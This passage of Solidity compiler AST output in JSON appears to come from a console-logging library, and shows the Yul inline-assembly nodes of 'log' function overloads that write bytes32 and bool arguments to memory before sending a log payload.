odeType":"YulLiteral","src":"383906:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"383912:2:22","nodeType":"YulIdentifier","src":"383912:2:22"}],"functionName":{"name":"writeString","nativeSrc":"383894:11:22","nodeType":"YulIdentifier","src":"383894:11:22"},"nativeSrc":"383894:21:22","nodeType":"YulFunctionCall","src":"383894:21:22"},"nativeSrc":"383894:21:22","nodeType":"YulExpressionStatement","src":"383894:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"383940:5:22","nodeType":"YulLiteral","src":"383940:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"383947:2:22","nodeType":"YulIdentifier","src":"383947:2:22"}],"functionName":{"name":"writeString","nativeSrc":"383928:11:22","nodeType":"YulIdentifier","src":"383928:11:22"},"nativeSrc":"383928:22:22","nodeType":"YulFunctionCall","src":"383928:22:22"},"nativeSrc":"383928:22:22","nodeType":"YulExpressionStatement","src":"383928:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46142,"isOffset":false,"isSlot":false,"src":"383305:2:22","valueSize":1},{"declaration":46145,"isOffset":false,"isSlot":false,"src":"383335:2:22","valueSize":1},{"declaration":46172,"isOffset":false,"isSlot":false,"src":"383607:3:22","valueSize":1},{"declaration":46148,"isOffset":false,"isSlot":false,"src":"383365:2:22","valueSize":1},{"declaration":46151,"isOffset":false,"isSlot":false,"src":"383395:2:22","valueSize":1},{"declaration":46154,"isOffset":false,"isSlot":false,"src":"383425:2:22","valueSize":1},{"declaration":46157,"isOffset":false,"isSlot":false,"src":"383455:2:22","valueSize":1},{"declaration":46160,"isOffset":false,"isSlot":false,"src":"383485:2:22","valueSize":1},{"declaration":46163,"isOffset":false,"isSlot":false,"src":"383515:2:22","valueSize":1},{"declaration":46166,"isOffset":false,"isSlot":false,"src":"383545:2:22","valueSize":1},{"declaration":46169,"isOffset":false,"isSlot":false,"src":"383576:2:22","valueSize":1},{"declaration":46132,"isOffset":false,"isSlot":false,"src":"383878:2:22","valueSize":1},{"declaration":46134,"isOffset":false,"isSlot":false,"src":"383912:2:22","valueSize":1},{"declaration":46136,"isOffset":false,"isSlot":false,"src":"383812:2:22","valueSize":1},{"declaration":46138,"isOffset":false,"isSlot":false,"src":"383947:2:22","valueSize":1}],"id":46174,"nodeType":"InlineAssembly","src":"382927:1033:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46176,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"383985:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":46177,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"383991:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":46175,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"383969:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46178,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"383969:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46179,"nodeType":"ExpressionStatement","src":"383969:28:22"},{"AST":{"nativeSrc":"384016:334:22","nodeType":"YulBlock","src":"384016:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"384037:4:22","nodeType":"YulLiteral","src":"384037:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"384043:2:22","nodeType":"YulIdentifier","src":"384043:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384030:6:22","nodeType":"YulIdentifier","src":"384030:6:22"},"nativeSrc":"384030:16:22","nodeType":"YulFunctionCall","src":"384030:16:22"},"nativeSrc":"384030:16:22","nodeType":"YulExpressionStatement","src":"384030:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384066:4:22","nodeType":"YulLiteral","src":"384066:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"384072:2:22","nodeType":"YulIdentifier","src":"384072:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384059:6:22","nodeType":"YulIdentifier","src":"384059:6:22"},"nativeSrc":"384059:16:22","nodeType":"YulFunctionCall","src":"384059:16:22"},"nativeSrc":"384059:16:22","nodeType":"YulExpressionStatement","src":"384059:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384095:4:22","nodeType":"YulLiteral","src":"384095:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"384101:2:22","nodeType":"YulIdentifier","src":"384101:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384088:6:22","nodeType":"YulIdentifier","src":"384088:6:22"},"nativeSrc":"384088:16:22","nodeType":"YulFunctionCall","src":"384088:16:22"},"nativeSrc":"384088:16:22","nodeType":"YulExpressionStatement","src":"384088:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384124:4:22","nodeType":"YulLiteral","src":"384124:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"384130:2:22","nodeType":"YulIdentifier","src":"384130:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384117:6:22","nodeType":"YulIdentifier","src":"384117:6:22"},"nativeSrc":"384117:16:22","nodeType":"YulFunctionCall","src":"384117:16:22"},"nativeSrc":"384117:16:22","nodeType":"YulExpressionStatement","src":"384117:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384153:4:22","nodeType":"YulLiteral","src":"384153:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"384159:2:22","nodeType":"YulIdentifier","src":"384159:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384146:6:22","nodeType":"YulIdentifier","src":"384146:6:22"},"nativeSrc":"384146:16:22","nodeType":"YulFunctionCall","src":"384146:16:22"},"nativeSrc":"384146:16:22","nodeType":"YulExpressionStatement","src":"384146:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384182:4:22","nodeType":"YulLiteral","src":"384182:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"384188:2:22","nodeType":"YulIdentifier","src":"384188:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384175:6:22","nodeType":"YulIdentifier","src":"384175:6:22"},"nativeSrc":"384175:16:22","nodeType":"YulFunctionCall","src":"384175:16:22"},"nativeSrc":"384175:16:22","nodeType":"YulExpressionStatement","src":"384175:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384211:4:22","nodeType":"YulLiteral","src":"384211:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"384217:2:22","nodeType":"YulIdentifier","src":"384217:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384204:6:22","nodeType":"YulIdentifier","src":"384204:6:22"},"nativeSrc":"384204:16:22","nodeType":"YulFunctionCall","src":"384204:16:22"},"nativeSrc":"384204:16:22","nodeType":"YulExpressionStatement","src":"384204:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384240:4:22","nodeType":"YulLiteral","src":"384240:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"384246:2:22","nodeType":"YulIdentifier","src":"384246:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384233:6:22","nodeType":"YulIdentifier","src":"384233:6:22"},"nativeSrc":"384233:16:22","nodeType":"YulFunctionCall","src":"384233:16:22"},"nativeSrc":"384233:16:22","nodeType":"YulExpressionStatement","src":"384233:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384269:5:22","nodeType":"YulLiteral","src":"384269:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"384276:2:22","nodeType":"YulIdentifier","src":"384276:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384262:6:22","nodeType":"YulIdentifier","src":"384262:6:22"},"nativeSrc":"384262:17:22","nodeType":"YulFunctionCall","src":"384262:17:22"},"nativeSrc":"384262:17:22","nodeType":"YulExpressionStatement","src":"384262:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384299:5:22","nodeType":"YulLiteral","src":"384299:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"384306:2:22","nodeType":"YulIdentifier","src":"384306:2:22"}],"functionName":{"name":"mstore","nativeSrc":"384292:6:22","nodeType":"YulIdentifier","src":"384292:6:22"},"nativeSrc":"384292:17:22","nodeType":"YulFunctionCall","src":"384292:17:22"},"nativeSrc":"384292:17:22","nodeType":"YulExpressionStatement","src":"384292:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"384329:5:22","nodeType":"YulLiteral","src":"384329:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"384336:3:22","nodeType":"YulIdentifier","src":"384336:3:22"}],"functionName":{"name":"mstore","nativeSrc":"384322:6:22","nodeType":"YulIdentifier","src":"384322:6:22"},"nativeSrc":"384322:18:22","nodeType":"YulFunctionCall","src":"384322:18:22"},"nativeSrc":"384322:18:22","nodeType":"YulExpressionStatement","src":"384322:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46142,"isOffset":false,"isSlot":false,"src":"384043:2:22","valueSize":1},{"declaration":46145,"isOffset":false,"isSlot":false,"src":"384072:2:22","valueSize":1},{"declaration":46172,"isOffset":false,"isSlot":false,"src":"384336:3:22","valueSize":1},{"declaration":46148,"isOffset":false,"isSlot":false,"src":"384101:2:22","valueSize":1},{"declaration":46151,"isOffset":false,"isSlot":false,"src":"384130:2:22","valueSize":1},{"declaration":46154,"isOffset":false,"isSlot":false,"src":"384159:2:22","valueSize":1},{"declaration":46157,"isOffset":false,"isSlot":false,"src":"384188:2:22","valueSize":1},{"declaration":46160,"isOffset":false,"isSlot":false,"src":"384217:2:22","valueSize":1},{"declaration":46163,"isOffset":false,"isSlot":false,"src":"384246:2:22","valueSize":1},{"declaration":46166,"isOffset":false,"isSlot":false,"src":"384276:2:22","valueSize":1},{"declaration":46169,"isOffset":false,"isSlot":false,"src":"384306:2:22","valueSize":1}],"id":46180,"nodeType":"InlineAssembly","src":"384007:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"382633:3:22","parameters":{"id":46139,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46132,"mutability":"mutable","name":"p0","nameLocation":"382645:2:22","nodeType":"VariableDeclaration","scope":46182,"src":"382637:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46131,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382637:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46134,"mutability":"mutable","name":"p1","nameLocation":"382657:2:22","nodeType":"VariableDeclaration","scope":46182,"src":"382649:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46133,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382649:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46136,"mutability":"mutable","name":"p2","nameLocation":"382666:2:22","nodeType":"VariableDeclaration","scope":46182,"src":"382661:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46135,"name":"bool","nodeType":"ElementaryTypeName","src":"382661:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":46138,"mutability":"mutable","name":"p3","nameLocation":"382678:2:22","nodeType":"VariableDeclaration","scope":46182,"src":"382670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46137,"name":"bytes32","nodeType":"ElementaryTypeName","src":"382670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"382636:45:22"},"returnParameters":{"id":46140,"nodeType":"ParameterList","parameters":[],"src":"382696:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46228,"nodeType":"FunctionDefinition","src":"384362:1536:22","nodes":[],"body":{"id":46227,"nodeType":"Block","src":"384437:1461:22","nodes":[],"statements":[{"assignments":[46194],"declarations":[{"constant":false,"id":46194,"mutability":"mutable","name":"m0","nameLocation":"384455:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384447:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46193,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384447:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46195,"nodeType":"VariableDeclarationStatement","src":"384447:10:22"},{"assignments":[46197],"declarations":[{"constant":false,"id":46197,"mutability":"mutable","name":"m1","nameLocation":"384475:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384467:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46196,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384467:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46198,"nodeType":"VariableDeclarationStatement","src":"384467:10:22"},{"assignments":[46200],"declarations":[{"constant":false,"id":46200,"mutability":"mutable","name":"m2","nameLocation":"384495:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384487:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46199,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384487:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46201,"nodeType":"VariableDeclarationStatement","src":"384487:10:22"},{"assignments":[46203],"declarations":[{"constant":false,"id":46203,"mutability":"mutable","name":"m3","nameLocation":"384515:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384507:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46202,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384507:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46204,"nodeType":"VariableDeclarationStatement","src":"384507:10:22"},{"assignments":[46206],"declarations":[{"constant":false,"id":46206,"mutability":"mutable","name":"m4","nameLocation":"384535:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384527:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46205,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384527:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46207,"nodeType":"VariableDeclarationStatement","src":"384527:10:22"},{"assignments":[46209],"declarations":[{"constant":false,"id":46209,"mutability":"mutable","name":"m5","nameLocation":"384555:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384547:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46208,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384547:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46210,"nodeType":"VariableDeclarationStatement","src":"384547:10:22"},{"assignments":[46212],"declarations":[{"constant":false,"id":46212,"mutability":"mutable","name":"m6","nameLocation":"384575:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384567:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46211,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384567:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46213,"nodeType":"VariableDeclarationStatement","src":"384567:10:22"},{"assignments":[46215],"declarations":[{"constant":false,"id":46215,"mutability":"mutable","name":"m7","nameLocation":"384595:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384587:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46214,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384587:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46216,"nodeType":"VariableDeclarationStatement","src":"384587:10:22"},{"assignments":[46218],"declarations":[{"constant":false,"id":46218,"mutability":"mutable","name":"m8","nameLocation":"384615:2:22","nodeType":"VariableDeclaration","scope":46227,"src":"384607:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46217,"name":"bytes32","nodeType":"ElementaryTypeName","src":"384607:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46219,"nodeType":"VariableDeclarationStatement","src":"384607:10:22"},{"AST":{"nativeSrc":"384636:927:22","nodeType":"YulBlock","src":"384636:927:22","statements":[{"body":{"nativeSrc":"384679:313:22","nodeType":"YulBlock","src":"384679:313:22","statements":[{"nativeSrc":"384697:15:22","nodeType":"YulVariableDeclaration","src":"384697:15:22","value":{"kind":"number","nativeSrc":"384711:1:22","nodeType":"YulLiteral","src":"384711:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"384701:6:22","nodeType":"YulTypedName","src":"384701:6:22","type":""}]},{"body":{"nativeSrc":"384782:40:22","nodeType":"YulBlock","src":"384782:40:22","statements":[{"body":{"nativeSrc":"384811:9:22","nodeType":"YulBlock","src":"384811:9:22","statements":[{"nativeSrc":"384813:5:22","nodeType":"YulBreak","src":"384813:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"384799:6:22","nodeType":"YulIdentifier","src":"384799:6:22"},{"name":"w","nativeSrc":"384807:1:22","nodeType":"YulIdentifier","src":"384807:1:22"}],"functionName":{"name":"byte","nativeSrc":"384794:4:22","nodeType":"YulIdentifier","src":"384794:4:22"},"nativeSrc":"384794:15:22","nodeType":"YulFunctionCall","src":"384794:15:22"}],"functionName":{"name":"iszero","nativeSrc":"384787:6:22","nodeType":"YulIdentifier","src":"384787:6:22"},"nativeSrc":"384787:23:22","nodeType":"YulFunctionCall","src":"384787:23:22"},"nativeSrc":"384784:36:22","nodeType":"YulIf","src":"384784:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"384739:6:22","nodeType":"YulIdentifier","src":"384739:6:22"},{"kind":"number","nativeSrc":"384747:4:22","nodeType":"YulLiteral","src":"384747:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"384736:2:22","nodeType":"YulIdentifier","src":"384736:2:22"},"nativeSrc":"384736:16:22","nodeType":"YulFunctionCall","src":"384736:16:22"},"nativeSrc":"384729:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"384753:28:22","nodeType":"YulBlock","src":"384753:28:22","statements":[{"nativeSrc":"384755:24:22","nodeType":"YulAssignment","src":"384755:24:22","value":{"arguments":[{"name":"length","nativeSrc":"384769:6:22","nodeType":"YulIdentifier","src":"384769:6:22"},{"kind":"number","nativeSrc":"384777:1:22","nodeType":"YulLiteral","src":"384777:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"384765:3:22","nodeType":"YulIdentifier","src":"384765:3:22"},"nativeSrc":"384765:14:22","nodeType":"YulFunctionCall","src":"384765:14:22"},"variableNames":[{"name":"length","nativeSrc":"384755:6:22","nodeType":"YulIdentifier","src":"384755:6:22"}]}]},"pre":{"nativeSrc":"384733:2:22","nodeType":"YulBlock","src":"384733:2:22","statements":[]},"src":"384729:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"384846:3:22","nodeType":"YulIdentifier","src":"384846:3:22"},{"name":"length","nativeSrc":"384851:6:22","nodeType":"YulIdentifier","src":"384851:6:22"}],"functionName":{"name":"mstore","nativeSrc":"384839:6:22","nodeType":"YulIdentifier","src":"384839:6:22"},"nativeSrc":"384839:19:22","nodeType":"YulFunctionCall","src":"384839:19:22"},"nativeSrc":"384839:19:22","nodeType":"YulExpressionStatement","src":"384839:19:22"},{"nativeSrc":"384875:37:22","nodeType":"YulVariableDeclaration","src":"384875:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"384892:3:22","nodeType":"YulLiteral","src":"384892:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"384901:1:22","nodeType":"YulLiteral","src":"384901:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"384904:6:22","nodeType":"YulIdentifier","src":"384904:6:22"}],"functionName":{"name":"shl","nativeSrc":"384897:3:22","nodeType":"YulIdentifier","src":"384897:3:22"},"nativeSrc":"384897:14:22","nodeType":"YulFunctionCall","src":"384897:14:22"}],"functionName":{"name":"sub","nativeSrc":"384888:3:22","nodeType":"YulIdentifier","src":"384888:3:22"},"nativeSrc":"384888:24:22","nodeType":"YulFunctionCall","src":"384888:24:22"},"variables":[{"name":"shift","nativeSrc":"384879:5:22","nodeType":"YulTypedName","src":"384879:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"384940:3:22","nodeType":"YulIdentifier","src":"384940:3:22"},{"kind":"number","nativeSrc":"384945:4:22","nodeType":"YulLiteral","src":"384945:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"384936:3:22","nodeType":"YulIdentifier","src":"384936:3:22"},"nativeSrc":"384936:14:22","nodeType":"YulFunctionCall","src":"384936:14:22"},{"arguments":[{"name":"shift","nativeSrc":"384956:5:22","nodeType":"YulIdentifier","src":"384956:5:22"},{"arguments":[{"name":"shift","nativeSrc":"384967:5:22","nodeType":"YulIdentifier","src":"384967:5:22"},{"name":"w","nativeSrc":"384974:1:22","nodeType":"YulIdentifier","src":"384974:1:22"}],"functionName":{"name":"shr","nativeSrc":"384963:3:22","nodeType":"YulIdentifier","src":"384963:3:22"},"nativeSrc":"384963:13:22","nodeType":"YulFunctionCall","src":"384963:13:22"}],"functionName":{"name":"shl","nativeSrc":"384952:3:22","nodeType":"YulIdentifier","src":"384952:3:22"},"nativeSrc":"384952:25:22","nodeType":"YulFunctionCall","src":"384952:25:22"}],"functionName":{"name":"mstore","nativeSrc":"384929:6:22","nodeType":"YulIdentifier","src":"384929:6:22"},"nativeSrc":"384929:49:22","nodeType":"YulFunctionCall","src":"384929:49:22"},"nativeSrc":"384929:49:22","nodeType":"YulExpressionStatement","src":"384929:49:22"}]},"name":"writeString","nativeSrc":"384650:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"384671:3:22","nodeType":"YulTypedName","src":"384671:3:22","type":""},{"name":"w","nativeSrc":"384676:1:22","nodeType":"YulTypedName","src":"384676:1:22","type":""}],"src":"384650:342:22"},{"nativeSrc":"385005:17:22","nodeType":"YulAssignment","src":"385005:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385017:4:22","nodeType":"YulLiteral","src":"385017:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"385011:5:22","nodeType":"YulIdentifier","src":"385011:5:22"},"nativeSrc":"385011:11:22","nodeType":"YulFunctionCall","src":"385011:11:22"},"variableNames":[{"name":"m0","nativeSrc":"385005:2:22","nodeType":"YulIdentifier","src":"385005:2:22"}]},{"nativeSrc":"385035:17:22","nodeType":"YulAssignment","src":"385035:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385047:4:22","nodeType":"YulLiteral","src":"385047:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"385041:5:22","nodeType":"YulIdentifier","src":"385041:5:22"},"nativeSrc":"385041:11:22","nodeType":"YulFunctionCall","src":"385041:11:22"},"variableNames":[{"name":"m1","nativeSrc":"385035:2:22","nodeType":"YulIdentifier","src":"385035:2:22"}]},{"nativeSrc":"385065:17:22","nodeType":"YulAssignment","src":"385065:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385077:4:22","nodeType":"YulLiteral","src":"385077:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"385071:5:22","nodeType":"YulIdentifier","src":"385071:5:22"},"nativeSrc":"385071:11:22","nodeType":"YulFunctionCall","src":"385071:11:22"},"variableNames":[{"name":"m2","nativeSrc":"385065:2:22","nodeType":"YulIdentifier","src":"385065:2:22"}]},{"nativeSrc":"385095:17:22","nodeType":"YulAssignment","src":"385095:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385107:4:22","nodeType":"YulLiteral","src":"385107:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"385101:5:22","nodeType":"YulIdentifier","src":"385101:5:22"},"nativeSrc":"385101:11:22","nodeType":"YulFunctionCall","src":"385101:11:22"},"variableNames":[{"name":"m3","nativeSrc":"385095:2:22","nodeType":"YulIdentifier","src":"385095:2:22"}]},{"nativeSrc":"385125:17:22","nodeType":"YulAssignment","src":"385125:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385137:4:22","nodeType":"YulLiteral","src":"385137:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"385131:5:22","nodeType":"YulIdentifier","src":"385131:5:22"},"nativeSrc":"385131:11:22","nodeType":"YulFunctionCall","src":"385131:11:22"},"variableNames":[{"name":"m4","nativeSrc":"385125:2:22","nodeType":"YulIdentifier","src":"385125:2:22"}]},{"nativeSrc":"385155:17:22","nodeType":"YulAssignment","src":"385155:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385167:4:22","nodeType":"YulLiteral","src":"385167:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"385161:5:22","nodeType":"YulIdentifier","src":"385161:5:22"},"nativeSrc":"385161:11:22","nodeType":"YulFunctionCall","src":"385161:11:22"},"variableNames":[{"name":"m5","nativeSrc":"385155:2:22","nodeType":"YulIdentifier","src":"385155:2:22"}]},{"nativeSrc":"385185:17:22","nodeType":"YulAssignment","src":"385185:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385197:4:22","nodeType":"YulLiteral","src":"385197:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"385191:5:22","nodeType":"YulIdentifier","src":"385191:5:22"},"nativeSrc":"385191:11:22","nodeType":"YulFunctionCall","src":"385191:11:22"},"variableNames":[{"name":"m6","nativeSrc":"385185:2:22","nodeType":"YulIdentifier","src":"385185:2:22"}]},{"nativeSrc":"385215:17:22","nodeType":"YulAssignment","src":"385215:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"385227:4:22","nodeType":"YulLiteral","src":"385227:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"385221:5:22","nodeType":"YulIdentifier","src":"385221:5:22"},"nativeSrc":"385221:11:22","nodeType":"YulFunctionCall","src":"385221:11:22"},"variableNames":[{"name":"m7","nativeSrc":"385215:2:22","nodeType":"YulIdentifier","src":"385215:2:22"}]},{"nativeSrc":"385245:18:22","nodeType":"YulAssignment","src":"385245:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"385257:5:22","nodeType":"YulLiteral","src":"385257:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"385251:5:22","nodeType":"YulIdentifier","src":"385251:5:22"},"nativeSrc":"385251:12:22","nodeType":"YulFunctionCall","src":"385251:12:22"},"variableNames":[{"name":"m8","nativeSrc":"385245:2:22","nodeType":"YulIdentifier","src":"385245:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385348:4:22","nodeType":"YulLiteral","src":"385348:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"385354:10:22","nodeType":"YulLiteral","src":"385354:10:22","type":"","value":"0x1023f7b2"}],"functionName":{"name":"mstore","nativeSrc":"385341:6:22","nodeType":"YulIdentifier","src":"385341:6:22"},"nativeSrc":"385341:24:22","nodeType":"YulFunctionCall","src":"385341:24:22"},"nativeSrc":"385341:24:22","nodeType":"YulExpressionStatement","src":"385341:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385385:4:22","nodeType":"YulLiteral","src":"385385:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"385391:4:22","nodeType":"YulLiteral","src":"385391:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"385378:6:22","nodeType":"YulIdentifier","src":"385378:6:22"},"nativeSrc":"385378:18:22","nodeType":"YulFunctionCall","src":"385378:18:22"},"nativeSrc":"385378:18:22","nodeType":"YulExpressionStatement","src":"385378:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"385416:4:22","nodeType":"YulLiteral","src":"385416:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"385422:4:22","nodeType":"YulLiteral","src":"385422:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"385409:6:22","nodeType":"YulIdentifier","src":"385409:6:22"},"nativeSrc":"385409:18:22","nodeType":"YulFunctionCall","src":"385409:18:22"},"nativeSrc":"385409:18:22","nodeType":"YulExp